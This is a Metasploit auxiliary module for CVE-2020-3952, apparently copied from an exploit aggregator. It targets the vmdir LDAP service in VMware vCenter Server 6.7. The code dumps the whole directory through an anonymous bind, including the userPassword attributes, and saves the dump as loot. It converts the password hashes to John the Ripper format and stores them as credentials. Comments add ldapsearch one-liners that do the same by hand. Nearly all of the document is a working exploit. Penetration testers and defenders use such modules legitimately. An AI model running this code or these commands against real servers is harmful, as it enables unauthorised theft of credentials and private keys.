## https://sploitus.com/exploit?id=PACKETSTORM:180643
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server vmdir Information Disclosure',
'Description' => %q{
This module uses an anonymous-bind LDAP connection to dump data from
the vmdir service in VMware vCenter Server version 6.7 prior to the
6.7U3f update, only if upgraded from a previous release line, such as
6.0 or 6.5.
If the bind username and password are provided (BIND_DN and BIND_PW
options), these credentials will be used instead of attempting an
anonymous bind.
},
'Author' => [
'Hynek Petrak', # Discovery, hash dumping
'wvu' # Module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
],
'DisclosureDate' => '2020-04-09', # Vendor advisory
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump all LDAP data' }]
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])
])
end
def base_dn
@base_dn ||= 'dc=vsphere,dc=local'
end
def policy_dn
"cn=password and lockout policy,#{base_dn}"
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
# ldapsearch -xb "" -s base -H ldap://[redacted]
#
# Dump data using discovered base DN:
# ldapsearch -xb dc=vsphere,dc=local -H ldap://[redacted] \* + -
def run
entries = nil
ldap_connect do |ldap|
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = ldap.base_dn)
print_warning('Falling back on default base DN dc=vsphere,dc=local')
end
end
print_status("Dumping LDAP data from vmdir service at #{ldap.peerinfo}")
# A "-" meta-attribute will dump userPassword (hat tip Hynek)
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/ldap-head/result.c#L647-L654
entries = ldap.search(base: base_dn, attributes: %w[* + -])
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
print_error("#{ldap.peerinfo} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
print_error('Dump failed')
return Exploit::CheckCode::Safe
end
print_good("#{ldap.peerinfo} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
pillage(entries)
# HACK: Stash discovered base DN in CheckCode reason
Exploit::CheckCode::Vulnerable(base_dn)
end
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
Exploit::CheckCode::Unknown
end
def pillage(entries)
# TODO: Make this more efficient?
ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n")
print_status('Storing LDAP data in loot')
ldif_filename = store_loot(
name, # ltype
'text/plain', # ctype
rhost, # host
ldif, # data
nil, # filename
"Base DN: #{base_dn}" # info
)
unless ldif_filename
print_error('Could not store LDAP data in loot')
return
end
print_good("Saved LDAP data to #{ldif_filename}")
if (policy = entries.find { |entry| entry.dn == policy_dn })
print_status('Password and lockout policy:')
print_line(policy.to_ldif[/^vmwpassword.*/m])
end
# Process entries with a non-empty userPassword attribute
process_hashes(entries.select { |entry| entry[:userpassword].any? })
end
def process_hashes(entries)
if entries.empty?
print_status('No password hashes found')
return
end
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'vmdir/ldap'
}
entries.each do |entry|
# This is the "username"
dn = entry.dn
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76
type, hash, salt = entry[:userpassword].first.unpack('CH128H32')
case type
when 1
unless hash.length == 128
vprint_error("Type #{type} hash length is not 128 digits (#{dn})")
next
end
unless salt.length == 32
vprint_error("Type #{type} salt length is not 32 digits (#{dn})")
next
end
# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197
john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")
next
end
print_good("Credentials found: #{dn}:#{john_hash}")
create_credential(service_details.merge(
username: dn,
private_data: john_hash,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)
))
end
end
end